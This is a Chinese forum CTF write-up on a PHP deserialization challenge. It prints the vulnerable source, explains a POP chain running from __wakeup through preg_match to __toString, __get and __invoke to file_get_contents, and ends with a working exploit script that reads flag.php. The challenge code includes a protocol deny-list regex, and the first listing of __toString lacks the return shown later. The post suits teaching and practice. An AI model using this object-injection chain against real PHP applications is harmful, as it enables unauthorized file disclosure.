CTF——PHP反序列化(第一天)

xiao_yi   ·   发表于 2021-04-16 20:07:48   ·   CTF&WP专版

一道反序列化题的分析

0x01 题目来源

来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more

0x02 前言

写此系列文章也是为了促进自己的学习,刚开始学习CTF,然后本人也很懒,所以写文章激励自己~这是一道很特殊的POP链,从一个小白的角度出发来剖析这道题

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

0x03 分析

0#01 需要传入程序中的参数

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

分析:

  • 如果传入hello参数, 进入反序列化
  • 如果没有传入hello参数, 则会调用 Show这个类,显示 index.php的内容

0#02 反序列化链分析

根据 Read ()类中的 file_get()可以看出这里是反序列化的终点,通过 file_get_content()函数去读取flag文件

class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

为了触发 file_get()函数我们可以定位到魔术方法 __invoke()

  • __invoke(): 当类的一个对象被当成函数调用的时候触发

    <?php
        class  Test
        {
            public function __invoke($params1,$params2)
            {
                echo "__invoke()".'<p>';
                echo "params1  : {$params1} <p>";
                echo "params2 : {$params2} <p>";
            }
        }
        $test = new Test();
        $test(123,'aaa');
    ?>
    //  结果显示
    //__invoke()
    //params1 : 123
    //params2 : aaa
    

所以我们就需要考虑如何触发 __invoke()这个魔术方法?

定位到 Class Test的 __get()方法, 此时的$function参数一定是 Class Read, 这个类会被当做函数执行从而触发了 __invoke()

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
  • __get():当访问类中的私有属性或者是不存在的属性, 触发 __get魔术方法

那么问题又来了, 如何触发 __get()魔术方法呢?

定位到 Class Show

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到有一个 __toString()的 魔术方法, 里面返回了 $this->str['str']->source, 倘若 $this->str['str']的值为 Class Test,

那么 $this->str['str']->source 表示的意思就是 去调用了Test类中的不存在的属性source,从而就会触发 __get()魔术方法, 那么问题就变成如何触发 __toString()这个魔术方法了?

  • __toString():当类作为字符串使用时触发

下面重难点来了!!!~

传统思维就是找echo<?=?>等输出函数,因为他们默认是把类当作字符串使用,但这里发现无论如何都无法利用,而且一般在做CTF的题的时候,定式思维会认为 __wakeup()这个魔术方法是需要绕过的,然而这里的 __wakeup()确实我们反序列化入口的第一步~!

知识点: preg_match() 会将 $this->source作为字符串使用,然后去匹配

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

所以,如果 source传入一个 Class Show的时候, 在反序列化开始时就是触发 __wakeup,然后通过 preg_match触发 __toString形成一个完整的反序列化链

完整的链为:

__wakeup(Show)  =>  preg_match => __toString(Test)  => __get(Read)  => __invoke => file_get => file_get_contents('flag.php')

0#03 EXP

<?php
    class Read {
        public $var = 'flag.php';

    }
    class Show
    {
        public $source;
        public $str;
    }
    class Test
    {
        public $p ;
    }
    $a = new Show();
    $a->source = $a; // toString;
    $a->str['str'] = new Test();
    $a->str['str']->p = new Read();

    echo serialize($a);

拿到Flag!~

总结

序列化真的比较困难,需要你耐心推理,做出来的瞬间你会感到神清气爽~还有就是不要被定式思维限制了自己的思维~

用户名金币积分时间理由
Track-聂风 25.00 0 2021-04-16 21:09:18 投稿活动
Track-聂风 50.00 0 2021-04-16 21:09:09 加油同学学习,期待同学的纯原创文章

打赏我,让我更有动力~

3 条回复   |  直到 2021-6-6 | 1928 次浏览

Track-聂风
发表于 2021-4-16

文章地址已经无法访问了,2020年的时候,这个地址就无法访问了,你这个参考来源啥情况?

评论列表

  • 加载数据中...

编写评论内容

sunsky666
发表于 2021-4-17

大佬大佬

评论列表

  • 加载数据中...

编写评论内容

小黑心
发表于 2021-6-6

感谢大佬 强!!!

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.